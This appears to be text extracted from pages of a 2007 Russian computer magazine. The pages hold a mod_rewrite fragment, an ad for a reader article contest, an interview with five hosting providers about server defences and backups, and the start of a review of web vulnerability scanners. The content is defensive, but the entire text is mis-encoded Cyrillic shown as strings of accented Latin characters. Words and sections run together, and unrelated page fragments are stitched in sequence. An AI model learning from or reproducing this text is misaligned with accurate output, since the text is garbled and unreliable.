íà òî, ÷òî ïðîãðàììèñòíå ñîâåðøèò îøèáîê.www.modsecurity.orgìîäóëü mod_securityhttp://httpd.apache.org/docs/1.3/mod/mod_rewrite.htmlìîäóëü mod_rewriteÏîëó÷èâ òàêîé âèðòóàëüíûé URL, ìîäóëü mod_rewriteïðåîáðàçóåò åãî â ðåàëüíûé http://www.òâîé_ñåðâåð.ru/news.php?id=1è êîððåêòíî âûïîëíèò.Ïîñìîòðèì, êàê ìû äîáèëèñü òàêîãî ñ÷àñòüÿ,ðàçîáðàâ äèðåêòèâó ïî ÷àñòÿì:— REWRITERULEÍÀ×ÀËÎ ÏÐÀÂÈËÀ.— NEWS_([0-9]*).HTMØÀÁËÎÍ, ÎÏÐÅÄÅËßÞÙÈÉ, ÊÀÊ ÁÓÄÅÒÂÛÃËßÄÅÒÜ URL ÄËß ÏÎËÜÇÎÂÀÒÅËß.Èíôîðìàöèÿ ïî mod_rewrite


1 ÌÅÑÒÎ 2 ÌÅÑÒÎ 3 ÌÅÑÒÎÖÈÔÐÎÂÎÉÔÎÒÎÀÏÏÀÐÀÒSAMSUNG NV-7??ÊÎÍÊÓÐÑ ÄËß ×ÈÒÀÒÅËÅÉ ÑÏÅÖÀ!ÌÛ ÏÐÎÂÎÄÈÌ ÊÎÍÊÓÐÑ ÍÀ ËÓ×ØÓÞ ÑÒÀÒÜÞ ÎÒ ÍÀØÈÕ ×ÈÒÀÒÅËÅÉ! ÒÛ ÎÒËÈ×ÍÎ ÐÀÇÁÈ-ÐÀÅØÜÑß Â ÑÎÂÐÅÌÅÍÍÛÕ ÈÍÔÎÐÌÀÖÈÎÍÍÛÕ ÒÅÕÍÎËÎÃÈßÕ? ÄËß ÒÅÁß ÍÅÒ ÑÅÊÐÅÒΠÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÈ? ÌÎÆÅØÜ ÑÄÅËÀÒÜ ÊÐÓÒÅÉØÈÉ ÂÅÁ-ÑÀÉÒ ÄÀÆÅ Â ÁËÎÊÍÎÒÅ,ÍÀÄÅÆÍÎ ÇÀÙÈÒÈØÜ ÎÒ ÂÒÎÐÆÅÍÈß ÑÅÒÜ ËÞÁÎÃÎ ÐÀÇÌÅÐÀ? ÇÍÀÅØÜ ×ÒÎ-ÒÎ ÒÀÊÎÅ,×ÒÎ ÁÓÄÅÒ ÈÍÒÅÐÅÑÍÎ ÄÐÓÃÈÌ, È ÈÙÅØÜ ÑÏÎÑÎÁ ÏÎÄÅËÈÒÜÑß ÈÍÔÎÐÌÀÖÈÅÉ? ÒÎÃÄÀÒÛ ÏÐÈØÅË ÏÎ ÀÄÐÅÑÓ! ÍÀÏÈØÈ ÑÒÀÒÜÞ ÍÀ ÒÓ ÒÅÌÓ, ÊÎÒÎÐÀß ÒÅÁÅ ÍÀÈÁÎËÅÅ ÁËÈÇÊÀ, ÊÎÒÎÐÎÉ ÒÛ ÐÀÇÁÈÐÀÅØÜÑß ËÓ×ØÅ ÂÑÅÕ È ÏÐÈØËÈ ÅÅ ÍÀÌ.Ñëåäè çà ïóáëèêóåìûìè ñïèñêàìè ïîáåäèòåëåé.Ëó÷øèå àâòîðû ïîëó÷àò öåííûå öèôðîâûå ïðèçûîò æóðíàëà «ÑÏÅÖ» è íàøèõ ïàðòíåðîâ!ÓÑËÎÂÈß Ó×ÀÑÒÈß ÊÎÍÊÓÐÑÅ: êîíêóðñå áóäóò ó÷àñòâîâàòü ñòàòüè, ïðèñëàííûå äî 1 èþëÿ 2007 ãîäà. Ñòàòüè äîëæíûñîîòâåòñòâîâàòü òåìàòèêå æóðíàëà. Îáúåì ñòàòüè äîëæåí áûòü íå ìåíåå 9 òûñÿ÷ çíàêîâ(ñ ïðîáåëàìè). Ñòàòüÿ äîëæíà âêëþ÷àòü â ñåáÿ èëëþñòðàöèè (êàðòèíêè, ôîòîãðàôèè,ñêðèíøîòû).Êðèòåðèÿìè îöåíêè áóäóò âûñòóïàòü: òåõíè÷åñêàÿ ãðàìîòíîñòü, èíòåðåñíîñòü è íåîáû÷íîñòü,ïîëåçíîñòü, ëèòåðàòóðíàÿ ãðàìîòíîñòü, ñòèëü íàïèñàíèÿ è ëåãêîñòü ÷òåíèÿ ìàòåðèàëà.ÏÐÈÇÛ:Òðåòüå ìåñòî: öèôðîâàé ôîòîêàìåðà Samsung NV-7 c 7-ìåãàïèêñåëüíûì ðàçðåøåíèåìè 7-êðàòíûì çóì-îáúåêòèâîì Schneider-Kreuznach. Âñå ýòî ñîáðàíî âîåäèíî â ëåãêîìè ñòèëüíîì êîðïóñå èç ÷åðíîãî àëþìèíèåãî ñïëàâà, êîòîðûé íàäåæíî çàùèòèò àïïàðàòîò ñëó÷àéíûõ ñòîëêíîâåíèé ñ òâåðäûìè ïðåäìåòàìè.Ìû õîòèì, ÷òîáû òû äåéñòâèòåëüíî ïîñòàðàëñÿ, âûëîæèëñÿ íà âñå ñòî. Ïîýòîìó, ÷òîáûïîäñòåãíóòü òâîå ðâåíèå è çàèíòðèãîâàòü òåáÿ, èíôîðìàöèþ î ïðèçàõ çà 1-îå è 2-îå ìåñòàìû áóäåì äåðæàòü â ñåêðåòå.


44 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07S P E I A L Î Ï Ð Î ÑWWW.SL.RUòåõíè÷åñêèé äèðåêòîðÑèíõðîëàéíÂëàäèìèð ÑåëåçíåâWWW.HOST-PLANET.RUñëóæáà òåõíè÷åñêîéïîääåðæêèWWW.KOSMOHOST.COMóïðàâëÿþùèé ÊîñìîÕîñòÀíäðåé ÊîëîñîâWWW.PETERHOST.RUãåíåðàëüíûé äèðåêòîðPeterHost.RuÄìèòðèé ÊîñòÿõèíWWW.HOSTER.RUñëóæáà òåõíè÷åñêîéïîääåðæêèÄìèòðèé ÂàãèíÈÑÏÎËÜÇÓÅÒÅ ËÈ ÂÛÏÐÎÃÐÀÌÌÛ ÄËß ÒÅÑÒÈÐÎÂÀÍÈßÁÅÇÎÏÀÑÍÎÑÒÈ ÑÅÐÂÅÐÎÂ?×ÒÎ ÄÅËÀÅÒÅ ÄËß ÏÐÅÄÎÒÂÐÀÙÅÍÈßÂÇËÎÌÎÂ?SL.RU: Äëÿ òåñòèðîâàíèÿ áåçîïàñíîñòè ñåðâåðîâ èñïîëüçóåì ðàçëè÷íûå îòêðûòûå (OpenSource) ñðåäñòâà.Òåñòèðóåì ðàáîòó ñàéòîâ è âèðòóàëüíûõ âûäåëåííûõ ñåðâåðîâ ïîä íàãðóçêîé, ìîäåëèðóÿ áîëüøîåêîëè÷åñòâî îáðàùåíèé (httpload). Òàêæå ïðîâîäèì àíàëèç ïðîãðàìì, óñòàíîâëåííûõ íà âèðòóàëüíîìñåðâåðå (rootkit check) èëè íà ñàéòå — ñèñòåìû óïðàâëåíèÿ ñàéòàìè, ôîðóìû èëè äðóãèå ïîïóëÿðíûåïðèëîæåíèÿ. Ñàì òðàôèê àíàëèçèðóåì ñèñòåìîé îáíàðóæåíèÿ âòîðæåíèé (IDS) Snort.HOST-PLANET.RU: Ïîèñê óÿçâèìîñòåé ìû îñóùåñòâëÿåì ñ ïîìîùüþ ïðîãðàììíûõ ïàêåòîâ PortSentry, Snort, IPPL. Áîëüøèíñòâî èç íèõ çàíèìàåòñÿ ïðîòîêîëèðîâàíèåì âõîäÿùèõ ïàêåòîâ, íî òàêæåìû èñïîëüçóåì è ñêàíåðû cåòè, íàïðèìåð ïàêåò courtney, íàïèñàííûé íà Perl. Îí ïîçâîëÿåò ôèëüòðîâàòüèíôîðìàöèîííûå ïîòîêè, ïðèõîäÿùèå íà ñåòåâûå èíòåðôåéñû ñåðâåðîâ, è îòñëåæèâàòü îïðåäåëåííûåøàáëîíû äàííûõ.KOSMOHOST.COM: Ïðîãðàììû äëÿ òåñòèðîâàíèÿ áåçîïàñíîñòè ñåðâåðîâ íå èñïîëüçóåì.  îñíîâíîìçàùèùàåì ñåðâåðû ñòàíäàðòíûìè ìåòîäàìè iptables + àíòèâèðóñ (Clamav) + íàñòðîéêà ñåðâèñîâ.Íà äàííûé ìîìåíò îñíîâíàÿ ïðîáëåìà ïðè çàùèòå ñåðâåðîâ — ýòî, êîíå÷íî æå, ðàñïðîñòðàíåííûåäâèæêè ñàéòîâ, òî åñòü ðàçëè÷íûå ôîðóìû, CMS, áëîãè è ò.ï. Îñîáåííî íå îáíîâëåííûå è òàêíàçûâàåìûå «íóëåííûå âåðñèè». Çà÷àñòóþ çëîóìûøëåííèê, çíàÿ, êàê ðàáîòàåò òàêîé ñêðèïò,èñïîëüçóåò íàéäåííóþ â êîäå óÿçâèìîñòü (îáû÷íî èçâåñòíóþ ëþáîìó øêîëüíèêó) è çàëèâàåò ñâîéñêðèïò â ïàïêó ñ âðåìåííûìè ôàéëàìè, ïîñëå ÷åãî çàïóñêàåò ýòîò ñêðèïò. Ïûòàåòñÿ òðàòèòü ðåñóðñûñåðâåðà âïóñòóþ èëè ïðî÷åñòü äàííûå ñ ëîãèíàìè, ïàðîëÿìè è äðóãóþ êðàéíå âàæíóþ èíôîðìàöèþ.Ïîýòîìó î çàùèòå ñåðâåðà è âëàäåëåö ñàéòà äîëæåí íå çàáûâàòü, ñâîåâðåìåííî îáíîâëÿÿ ñâîè ñêðèïòû,òåì ñàìûì, êàê ìèíèìóì, çàêðûâàÿ èçâåñòíûå óÿçâèìîñòè.PETERHOST.RU: Äëÿ îáåñïå÷åíèÿ áåçîïàñíîñòè ñåðâåðîâ êîìïàíèÿ PeterHost.Ru èñïîëüçóåòïðîãðàììíî-àäìèíèñòðàòèâíûé êîìïëåêñ ñîáñòâåííîé ðàçðàáîòêè. Ìû îïèðàåìñÿ íà ñòàíäàðòíûåðåøåíèÿ, îäíàêî íèêîãäà íå âíåäðÿåì èõ áåç ïðåäâàðèòåëüíîé äîðàáîòêè.  êîìïëåêñ âõîäÿò ìåòîäûíàñòðîéêè ñåðâåðîâ, íàáîð òåñòîâ äëÿ âûÿâëåíèÿ âîçìîæíûõ «äûð» â çàùèòå ñåðâåðà, à òàêæå äîâîëüíîñëîæíàÿ ñèñòåìà ìîíèòîðèíãà, ïîçâîëÿþùàÿ îïåðàòèâíî îïðåäåëèòü àòàêó, âûÿâèòü àäðåñà, ñ êîòîðûõîíà âåäåòñÿ, è åå öåëü.  ñëó÷àå ñïàìîïîäà÷è ñ íàøèõ ñåðâåðîâ ñèñòåìà ïîçâîëÿåò áûñòðî è òî÷íîîïðåäåëèòü ïîëüçîâàòåëÿ, ðàññûëàþùåãî ñïàì.HOSTER.RU: Ñòàíäàðòíûå ïðîãðàììû ïî àóäèòó áåçîïàñíîñòè ìû íå èñïîëüçóåì. 7 ëåò ðàáîòû â îáëàñòèõîñòèíãà ïîçâîëèëè êîìïàíèè íàêîïèòü îïûò ïî íàñòðîéêå, òåñòèðîâàíèþ è çàùèòå ñåðâåðîâ.Ìíîãî÷èñëåííûå ñàéòû êëèåíòîâ, íåêîòîðûå èç êîòîðûõ ÿâëÿþòñÿ îáúåêòîì ïðèñòàëüíîãî âíèìàíèÿ ñîñòîðîíû õàêåðîâ, äàþò íåîöåíèìûé îïûò ïðè ðàçðàáîòêå áåçîïàñíîñòè ñèñòåìû. Íà äàííûé ìîìåíò íàèáîëüøååâíèìàíèå óäåëÿåòñÿ ìåòîäàì çàùèòû îò DDoS.SL.RU: Îáíîâëÿåì ïðîãðàììíîå îáåñïå÷åíèå íà ñîáñòâåííûõ ñåðâåðàõ ïî ìåðå âûïóñêà íîâûõâåðñèé ïðèëîæåíèé. Êëèåíòàì ïðåäîñòàâëÿåì ïðîñòîé è óäîáíûé èíòåðôåéñ äëÿ îáíîâëåíèÿïðîãðàìì íà ñòîðîíå ïîëüçîâàòåëÿ (íàæàòèåì îäíîé êíîïêè), ïîäïèñûâàåì íà àâòîìàòè÷åñêîåîáíîâëåíèå ïðîãðàìì ïðîâàéäåðîì — íà èõ ñàéòå èëè âûäåëåííîì ñåðâåðå.  íà÷àëüíîé óñòàíîâêåñàéò/VPS ñîäåðæèò òîëüêî ìèíèìóì ïðîãðàìì (PHP, FTP, Sendmail). Åñëè ïîëüçîâàòåëþ íóæíûäðóãèå ïðîãðàììû, îí ìîæåò èõ äîáàâèòü ñàìîñòîÿòåëüíî. Ìåæäó ïðèëîæåíèÿìè ïðèìåíÿåòñÿïðèíöèï «ìàêñèìàëüíîãî èñïîëüçîâàíèÿ ëîêàëüíûõ ñîåäèíåíèé» (íàïðèìåð, ìåæäó PHP è MySQL).Òî åñòü ñåòåâûå îòêëþ÷àòü, íî åñëè ýòî íå âîçìîæíî, îãðàíè÷èâàòü âõîäÿùèå ñåòåâûå ïîäêëþ÷åíèÿFireWall (ðàçðåøåíî òîëüêî îïðåäåëåííûì IP, îñòàëüíûì çàïðåùåíî). Åñëè íóæåí äîñòóïñî âñåõ IP — îãðàíè÷åíèå ïî èìåíè ïîëüçîâàòåëÿ è ïàðîëþ. Ñåòåâîé òðàôèê àíàëèçèðóåòñÿ IDS.Ëîã-ôàéëû ïðîãðàìì îáðàáàòûâàþòñÿ ôèëüòðàìè, îïàñíûå/íåîáû÷íûå çàïèñè îòïðàâëÿþòñÿíà email àäìèíèñòðàòîðà.HOST-PLANET.RU: Çàùèòà ñåòè ñåðâåðîâ — ýòî íå òîëüêî ðåãóëÿðíûé ïðîñìîòð æóðíàëîâ,ïðîâåðêà ôóíêöèîíèðîâàíèÿ áðàíäìàóýðà è áëîêèðîâàíèå óçëîâ, äëÿ êîòîðûõ äîñòóï âíóòðüñåòè çàïðåùåí. Äëÿ íàñ çàùèòà ñåòè — èíòåëëåêòóàëüíûé ïðîöåññ. Ìû äîëæíû ïîñòàâèòü ñåáÿíà ìåñòî çëîóìûøëåííèêà, ïûòàþùåãîñÿ ïðîíèêíóòü âíóòðü, ïðèñòóïèòü ê ïîèñêó ñîáñòâåííûõ óÿçâèìûõìåñò, ïðîàíàëèçèðîâàòü ýòè óÿçâèìîñòè è ïðèíÿòü ìåðû, ÷òîáû îáåçîïàñèòü íàøè ñåðâåðû îò àòàê.×òîáû óçíàòü î ñóùåñòâîâàíèè óÿçâèìûõ ìåñò, èõ íàäî èñêàòü — ëó÷øåãî ñðåäñòâà íå ñóùåñòâóåò. Íó,è, êîíå÷íî æå, ìû âêëþ÷àåì PHP-ïàðàìåòð safe_mode.KOSMOHOST.COM: Äëÿ ïðåäîòâðàùåíèÿ âçëîìîâ èñïîëüçóåì ìîäèôèöèðîâàííûé ïîä íàøóñèñòåìó ñêðèïò Nobody Check è ñîáñòâåííûå íàðàáîòêè.PETERHOST.RU: Áåçîïàñíîñòü íàøèõ ñîáñòâåííûõ ñåðâåðîâ îáåñïå÷èâàåòñÿ ìåðàìè, îïèñàííûìèâûøå. Ñàéòû êëèåíòîâ îáû÷íî âçëàìûâàþòñÿ ÷åðåç óñòàíîâëåííûé íà íèõ íåáåçîïàñíûé ñîôò.Ïî ìåðå âîçìîæíîñòè íàøà êîìïàíèÿ, êàê è äðóãèå õîñòåðû, ñòàðàåòñÿ ýòî ïðåäîòâðàòèòü ïóòåìòåñòèðîâàíèÿ êëèåíòñêèõ ñàéòîâ. Îäíàêî íóæíî ïîíèìàòü, ÷òî ãàðàíòèè ïîëíîé áåçîïàñíîñòè çäåñüäàâàòü íåâîçìîæíî. Íàïðèìåð, ó íàøåé êîìïàíèè áîëåå 8 òûñÿ÷ êëèåíòîâ, ïðàêòè÷åñêè ó êàæäîãîèç íèõ ïî íåñêîëüêî ñàéòîâ. Íà êîìïëåêñíîå òåñòèðîâàíèå êàæäîãî ñàéòà ïîòðåáîâàëîñü áû îãðîìíîåêîëè÷åñòâî âðåìåíè è cðåäñòâ. Ïîýòîìó ìû âûÿâëÿåì ñàìûå ðàñïðîñòðàíåííûå «äûðû» —


45ïðîèçâîäèì ïðîâåðêó íà óñòàíîâëåííûå óñòàðåâøèå âåðñèè ïîïóëÿðíûõ ôîðóìîâ, äëÿ êîòîðûõèìåþòñÿ èçâåñòíûå óÿçâèìîñòè, íà íåïðàâèëüíîå èñïîëüçîâàíèå íåêîòîðûõ ôóíêöèé â PHP. ñëó÷àå âçëîìà êëèåíòñêîãî ñàéòà, ìû àíàëèçèðóåì, êàêèì îáðàçîì ýòî áûëî ñäåëàíî, ñîîáùàåìïîëüçîâàòåëþ îá îøèáêàõ, à ïîòîì ïðîâåðÿåì äðóãèå ñàéòû íà íàëè÷èå ñëåäîâ âçëîìà àíàëîãè÷íûìñïîñîáîì (÷åðåç àíàëèç ëîãîâ).HOSTER.RU:  ïðàêòèêå êîìïàíèè íå áûëî ñëó÷àåâ âçëîìà íàøèõ ñåðâåðîâ. Ïîñòîÿííûé ìîíèòîðèíãïðîöåññîâ íà ñåðâåðå ïîçâîëÿåò íàõîäèòü îòêëîíåíèÿ èëè îáíàðóæèâàòü ôàêòû âçëîìà êëèåíòñêèõ ñàéòîâ.ÓÑÒÀÍÎÂËÅÍÛ ËÈ ÄÎÏÎËÍÈÒÅËÜÍÛÅÌÎÄÓËÈ ÄËß ÏÐÅÄÎÒÂÐÀÙÅÍÈß ÀÒÀÊ? ÊÀÊÎÌ ÎÊÐÓÆÅÍÈÈ ÐÀÁÎÒÀÞÒÑÀÉÒÛ ( ÎÁÙÅÌ ÈËÈ ÊÀÆÄÛÉÐÀÁÎÒÀÅÒ Â ÑÂÎÅÉ ÑÐÅÄÅ CHROOT)?ÊÀÊ ×ÀÑÒÎ ÏÐÎÈÑÕÎÄÈÒ ÐÅÇÅÐÂÍÎÅÊÎÏÈÐÎÂÀÍÈÅ ÄÀÍÍÛÕ?SL.RU: Ñïåöèàëüíûõ ìîäóëåé ó íàñ íåò, àòàêè îáíàðóæèâàþòñÿ IDS (îíëàéí), ÷àñòè÷íî ïðåñåêàþòñÿFirewall (linux — iptables, Cisco PIX è ò.ä.) èëè íà îñíîâå àíàëèçà ëîã-ôàéëîâ (oôôëàéí). Äëÿ áîðüáûñ DDoS-àòàêàìè èñïîëüçóåì ñîáñòâåííûå ïðîãðàììû, êîòîðûå äèíàìè÷åñêè âíîñÿò èçìåíåíèÿ â Firewall,ïîëó÷àÿ äàííûå îò àíàëèçàòîðîâ òðàôèêà.HOST-PLANET.RU: Ìû èñïîëüçóåì îáðàòíûé ïðîêñè mod_security ñ ðÿäîì óñòàíîâîê, ñïîñîáñòâóþùèõîòêëîíåíèþ çàïðîñîâ, êîòîðûå ìîãóò ïðåäñòàâëÿòü îïàñíîñòü.KOSMOHOST.COM: Çàùèùàåìñÿ ïðè ïîìîùè iptables, òî åñòü ïî ñóòè îòñåêàåì ïàêåòû, êîòîðûåíå ìîãóò áûòü âåðíî èäåíòèôèöèðîâàíû, ëèáî ïðîèçâîäÿùèå áîëüøîå êîëè÷åñòâî çàïðîñîâñ îäíîãî IP. Åñëè ãîâîðèòü î mod_security, òî åãî íå èñïîëüçóåì, òàê êàê äàííàÿ ñèñòåìà íå âñåãäàïðàâèëüíî îïðåäåëÿåò, îòñåêàòü îñòàëüíûå çàïðîñû ñ IP èëè íåò. È, åñëè ÿ íå îøèáàþñü, äàííûéìîäóëü ÿâëÿåòñÿ ýêñïåðèìåíòàëüíûì.PETERHOST.RU: Äëÿ ïðåäîòâðàùåíèÿ àòàê ó íàñ èñïîëüçóåòñÿ êîìïëåêñ èç ìîäèôèöèðîâàííûõApache è MySQL è óñòàíîâëåííîãî ïåðåä âåá-ñåðâåðîì àêñåëåðàòîðà Nginx. Ìû ìîæåì îïðåäåëèòü,îòêóäà èäåò àòàêà, êóäà îíà íàïðàâëåíà è êàêîãî îíà ðîäà. Åñëè âûÿâëåíû ïîñòîÿííûå IP-àäðåñààòàêóþùåãî áîòíåòà, îíè áëîêèðóþòñÿ íà óðîâíå Nginx èëè ñòîÿùåãî âûøå ìàãèñòðàëüíîãî óçëà. ñëó÷àå áûñòðîé ñìåíû àòàêóþùèõ IP ìû ìîæåì ñìåíèòü DNS-ñåðâåðû. Ìû íå èñïîëüçóåì àâòîìàòè-÷åñêèå ñèñòåìû ïðåäîòâðàùåíèÿ àòàê, òàê êàê ñ÷èòàåì, ÷òî â ýòîì ñëó÷àå âîçìîæíû îøèáêè.Ìû äåòåêòèðóåì àòàêó àâòîìàòè÷åñêè, íî áîðåìñÿ ñ íåé «âðó÷íóþ». Ñóùåñòâóþùàÿ ñèñòåìàìîíèòîðèíãà ïîçâîëÿåò îïåðàòèâíî îòñëåäèòü àòàêó è ñâîåâðåìåííî îòðåàãèðîâàòü íà íåå.HOSTER.RU: Èñïîëüçóåì ñîáñòâåííûå ðàçðàáîòêè äëÿ îòñëåæèâàíèÿ è áëîêèðîâàíèÿ ïðîöåññîâ,ëèáî çàïðîñîâ ê ñåðâåðó.SL.RU: Âèðòóàëüíûå âûäåëåííûå ñåðâåðû (VPS) ïîä Linux ðàáîòàþò íà îñíîâå òåõíîëîãèè Virtuozzoèëè åå áåñïëàòíîãî àíàëîãà OpenVZ. Ïîä FreeBSD èñïîëüçóåì òåõíîëîãèþ jail. Äëÿ íåêîòîðûõ âèðòóàëüíûõñåðâåðîâ èñïîëüçóåì chroot. Ýòè òåõíîëîãèè ïîçâîëÿþò èçîëèðîâàòü àòàêóåìóþ ñèñòåìó îò îñòàëüíûõè íå ìåøàòü ðàáîòå äðóãèõ VPS.HOST-PLANET.RU: Äëÿ êàæäîãî êëèåíòà íàñòðîåí ftp-jail òîëüêî íà åãî äîìàøíþþ äèðåêòîðèþ.Íî êàê òàêîâîãî chroot'a íåò, òàê êàê ìû ñ÷èòàåì, ÷òî â íåì áîëüøå íåäîñòàòêîâ, ÷åì äîñòîèíñòâ.Òåêóùàÿ ïîëèòèêà áåçîïàñíîñòè ñåðâåðîâ óäîâëåòâîðÿåò íàøèì çàïðîñàì áåç èñïîëüçîâàíèÿchroot.KOSMOHOST.COM: Åñëè ãîâîðèòü î ñêðèïòàõ CGI, òî êàæäûé ñêðèïò çàïóñêàåòñÿ îò ñâîåãî ïîëüçîâàòåëÿ.Ñêðèïòû PHP çàïóñêàþòñÿ ïîñðåäñòâîì ïîëüçîâàòåëÿ web-ñåðâåðà Apache (PHP êàê ìîäóëüApache). Íà äàííûé ìîìåíò ìû ðàññìàòðèâàåì âàðèàíò ïåðåõîäà íà SuPHP, òî åñòü çàïóñê PHP êàêCGI, ÷òî äîëæíî ïðèâåñòè ê ïîâûøåíèþ áåçîïàñíîñòè ñåðâåðîâ.PETERHOST.RU: Êàæäûé ïîëüçîâàòåëü ðàáîòàåò ïîä ñâîåé ó÷åòíîé çàïèñüþ, ÷òî â ñî÷åòàíèè ñ ïðèìåíÿåìîéïîëèòèêîé ðàçãðàíè÷åíèÿ ïðàâ äîñòóïà èñêëþ÷àåò âîçìîæíîñòü ïðîñìîòðà è ìîäèôèêàöèèôàéëîâ äðóãèõ ïîëüçîâàòåëåé.HOSTER.RU: Àíàëîã chroot.SL.RU: Åæåäíåâíî â òå÷åíèå íåäåëè äåëàåòñÿ êîïèÿ èçìåíåíèé ôàéëîâ äàííûõ ïîëüçîâàòåëåé.Ðàç â íåäåëþ (êàê ïðàâèëî, â âûõîäíûå, â ïåðèîä íàèìåíüøåé íàãðóçêè) äåëàåòñÿ ïîëíûé backupè àðõèâèðîâàíèå âñåõ äàííûõ. Ôàéëû õðàíÿòñÿ ïî îäíîé êîïèè çà 1, 2 è 3 íåäåëè â òå÷åíèå 1, 2 è 3ìåñÿöåâ. Ïîëíûé backup — äîâîëüíî ðåñóðñîåìêèé è äëèòåëüíûé ïðîöåññ, òðåáóåò áîëüøèõ îáúåìîâ,äëÿ êîòîðîãî òàêæå æåëàòåëüíî îñòàíàâëèâàòü íåêîòîðûå ïðîöåññû. Åæåäíåâíî äåëàòü ýòî äîâîëüíîñëîæíî, ïîýòîìó ìû îãðàíè÷èâàåìñÿ èçìåíåíèÿìè (â îñíîâíîì, ó ïîëüçîâàòåëåé â òå÷åíèå äíÿ ìåíÿåòñÿáàçà äàííûõ è íåáîëüøîå êîëè÷åñòâî ôàéëîâ, ïëþñ ïî÷òà). Òàêæå ïîëüçîâàòåëè ìîãóò ñàìîñòîÿòåëüíîèç ïàíåëè óïðàâëåíèÿ ñäåëàòü backup ó íàñ íà ñåðâåðå â ëþáîå óäîáíîå äëÿ íèõ âðåìÿ.HOST-PLANET.RU: Åæåäíåâíî.KOSMOHOST.COM: Ðåçåðâíîå êîïèðîâàíèå äàííûõ ïðîèçâîäèòñÿ êàæäóþ íî÷ü, êîãäà îñíîâíàÿ ÷àñòüñàéòîâ ìàëî ïîñåùàåòñÿ èëè íå ïîñåùàåòñÿ âîîáùå.PETERHOST.RU: Êîïèðîâàíèå ïðîèñõîäèò ðàç â ñóòêè, áýêàïû õðàíÿòñÿ îò 2 äî 7 äíåé.HOSTER.RU: Ðåçåðâíîå êîïèðîâàíèå ñàéòîâ êëèåíòîâ ïðîèñõîäèò åæåäíåâíî. Íàñòðîéêè ñåðâåðîâáåêàïèðóþòñÿ ïî ìåðå âíåñåíèÿ èçìåíåíèé â ñèñòåìó.


46 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07çàïàõïðîïàñòèÎáçîð ïðîãðàìì ïîèñêà óÿçâèìîñòåé íà ñàéòå×ÅËÎÂÅÊ — ÑÓÙÅÑÒÂÎ ÏÎ ÑÂÎÅÉ ÑÓÒÈ ËÅÍÈÂÎÅ, È ÁÎËÜØÈÍÑÒÂÎ ÏÎËÅÇÍÎÑÒÅÉ Â ÝÒÎÌ ÌÈ-ÐÅ ÏÎßÂÈËÎÑÜ ÈÌÅÍÍÎ ÈÇ-ÇÀ ËÅÍÈ È ÄËß ÎÁËÅÃ×ÅÍÈß ÆÈÇÍÈ.  ÒÀÊÎÌ ÐÀÇÐÅÇÅ ËÅÍÜ —ÝÒÎ ÍÅ ÇËÎ, ÝÒÎ ÏÐÎÃÐÅÑÑ, È ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÜ ÒÐÓÄÀ ÎÒ ÏÎÄÎÁÍÛÕ «ËÅÍÈÂÛÕ»ÈÇÎÁÐÅÒÅÍÈÉ ÏÎÂÛØÀÅÒÑß. ×ÒÎÁÛ ÍÅ ÈÑÊÀÒÜ ÎØÈÁÊÈ ÍÀ WEB-ÑÒÐÀÍÈÖÀÕ ÐÓÊÀÌÈ, «ËÅÍ-ÒßÈ» ÑÎÇÄÀËÈ ÌÍÎÆÅÑÒÂÎ ÏÐÎÃÐÀÌÌ, ÊÎÒÎÐÛÅ ÌÎÃÓÒ ÏÐÎÂÅÐÈÒÜ ÑÀÉÒ ÍÀ ÓßÇÂÈÌÎÑÒÈÈ ÏÐÎÑÈÃÍÀËÈÇÈÐÎÂÀÒÜ, ÅÑËÈ ÍÀÉÄÅÍÎ ×ÒÎ-ÒÎ ÏÎÄÎÇÐÈÒÅËÜÍÎÅ. ÏÎÏÐÎÁÓÅÌ ÐÀÇÎÁ-ÐÀÒÜÑß, ÒÀÊ ËÈ ÝÔÔÅÊÒÈÂÍÛ ÏÎÄÎÁÍÛÅ ÓÒÈËÈÒÛ.Ôëåíîâ Ìèõàèë àka Horrificwww.vr-online.ruÎòêóäà áåðóòñÿ îøèáêè? Ìîæíî âûäåëèòü äâå îñíîâíûåïðîáëåìû: ïëîõîå îáðàçîâàíèå è ÷åëîâå-÷åñêèé ôàêòîð. Òîòàëüíàÿ íåõâàòêà ïðîãðàììèñòîâëåò ïÿòü íàçàä ñòàëà ïðåâðàùàòü â êîäåðîââñåõ ïîäðÿä. Ëàäíî, ÷åëîâåê ñòàë ïðîãðàììèñòîìáåç ñïåöèàëüíîãî îáðàçîâàíèÿ, íî íàäî æå ó÷èòüñÿ,ñîâåðøåíñòâîâàòüñÿ, à íå «ïðîñèæèâàòü» ðàáî-÷åå ìåñòî çà áîëüøóþ çàðïëàòó! Ñåé÷àñ â Åâðîïåè ÑØÀ ñ êîäèíãîì ïîïðîùå: ñòàëè èñïîëüçîâàòüîôôøîð è îòêðûëè êó÷ó ïðåäñòàâèòåëüñòâ â ñòðàíàõ,ãäå ïðîãðàììèñòîâ õâàòàåò, íî êà÷åñòâî êîäà,ñîçäàâàåìîãî â îôôøîðå è ïðåäñòàâèòåëüñòâàõ,âñå æå îñòàâëÿåò æåëàòü ëó÷øåãî.Âñå ìû «÷åëîâåêè», è âñå ìû îøèáàåìñÿ,è èìåííî ÷åëîâå÷åñêèé ôàêòîð ÿâëÿåòñÿ âòîðîéçíà÷èìîé ïðîáëåìîé è ïðè÷èíîé ïîëîâèíû îøèáîê.Äàæå ïðîôåññèîíàëû ìîãóò îøèáàòüñÿ â àáñîëþòíîî÷åâèäíûõ ñèòóàöèÿõ. ×èñòî ìàøèíàëüíîìîæíî ïîñòàâèòü íå òîò ñèìâîë èëè èç-çà íåâíèìàòåëüíîñòèçàáûòü ñäåëàòü ïðîâåðêó.Èñêàòü îøèáêè âðó÷íóþ íå òàê óæ è ñëîæíî,íî äîñòàòî÷íî óòîìèòåëüíî, è ïîýòîìó ïðîãðàììèñòûíå ëþáÿò òùàòåëüíî òåñòèðîâàòü ñâîå òâîðåíèå,íàäåÿñü íà ïðàâèëüíîñòü êîäà è âñåìîãóùèéàâîñü. À íàäåæäà, êàê ãîâîðèòñÿ, óìèðàåò ïîñëåäíåé,òî÷íåå, ñðàçó ïîñëå âçëîìà. Åñëè ïåðåôðàçèðîâàòüäåäóøêó Ëåíèíà, òî íóæíî òåñòèðîâàòü,òåñòèðîâàòü è åùå ðàç òåñòèðîâàòü ïîñëåêàæäîãî èçìåíåíèÿ êîäà.Òàê íóäíî ïðîñìàòðèâàòü âñå ñòðàíèöû è âñåïàðàìåòðû… Íî íàäî, Âàñÿ, íàäî! 